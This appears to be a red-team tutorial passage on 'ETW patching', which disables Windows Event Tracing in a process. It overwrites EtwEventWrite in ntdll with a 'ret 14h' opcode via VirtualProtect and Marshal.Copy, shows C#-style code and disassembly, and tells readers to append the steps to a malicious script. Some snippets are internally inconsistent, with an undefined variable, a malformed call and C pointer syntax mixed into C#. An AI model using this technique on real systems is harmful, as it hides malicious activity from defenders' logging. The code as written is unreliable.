Patching tracing functions
ETW is loaded from the runtime of every new process, commonly originating from the CLR (Common Language Runtime). Within a new process, ETW events are sent from userland and issued directly from the current process. An attacker can write pre-defined opcodes to an in-memory function of ETW to patch and disable functionality.
ETW is written from the function EtwEventWrite
. The disassembly of that function:
779f2459 33cc xor ecx, esp
779f245b e8501a0100 call ntdll!_security_check_cookie
779f2460 8be5 mov esp, ebp
779f2462 5d pop ebp
779f2463 c21400 ret 14h
ret 14h
will end the function and returns control to the calling application.
At a high level, ETW patching can be broken up into five steps:
Obtain a handle for EtwEventWrite
Modify memory permissions of the function
Write opcode bytes to memory
Reset memory permissions of the function (optional)
Flush the instruction cache (optional)
Code
EtwEventWrite
is stored within ntdll
. Load the library and obtain the handle using GetProcAddress
:
var ntdll = Win32.LoadLibrary("ntdll.dll");
var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite");
The permission of the function is defined by the flNewProtect
parameter; 0x40
enables X
, R
, or RW
access:
uint oldProtect;
Win32.VirtualProtect(
etwFunction,
(UIntPtr)patch.Length,
0x40,
out oldProtect
);
Now the function has the permissions required to write to it, and the pre-defined opcode to patch it is known. Because
of writing to a function and not a process, Marshal.Copy
can be used to write the opcode.
patch(new byte[] { 0xc2, 0x14, 0x00 });
Marshal.Copy(
patch,
0,
etwEventSend,
patch.Length
);
Clean to restore memory permissions as they were:
VirtualProtect(etwFunction, 4, oldProtect, &oldOldProtect);
Make sure the patched function will be executed from the instruction cache:
Win32.FlushInstructionCache(
etwFunction,
NULL
);
Compile these steps together and append them to a malicious script or session.
After the opcode is written to memory, view the disassembled function again:
779f23c0 c21400 ret 14h
779f23c3 00ec add ah, ch
779f23c5 83e4f8 and esp, 0FFFFFFF8h
779f23c8 81ece0000000 sub esp, 0E0h
Once the function is patched in memory, it will always return when EtwEventWrite
is called. And that means it might
not be a good idea as it may restrict more logs than desired for integrity.